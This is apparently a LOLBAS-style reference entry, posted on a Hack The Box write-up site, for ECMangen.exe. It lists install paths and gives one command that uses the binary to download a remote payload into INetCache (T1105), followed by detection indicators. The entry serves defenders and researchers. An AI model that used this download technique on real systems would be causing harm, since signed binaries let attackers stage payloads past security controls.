~/bokkapig
hack the box machine writeups

ECMangen.exe

type: OtherMSBinaries
Command-line tool for managing certificates in Microsoft Exchange Server.

Full path

C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\ECMangen.exe
C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\x64\ECMangen.exe
C:\Program Files\Microsoft\Exchange Server\<version>\Bin\ECMangen.exe
C:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exe
C:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exe
C:\ExchangeServer\Bin\ECMangen.exe

Commands

  1. DownloadUser T1105

    It will download a remote payload and place it in INetCache

    ECMangen.exe {REMOTEURL}

    Downloads payload from remote server

    os: Windows

    Download: INetCache

Detection

  • IOCURL on a ECMangen command line
  • IOCECMangen making unexpected network connections or DNS requests

acknowledgement: Avihay Eldad @AvihayEldad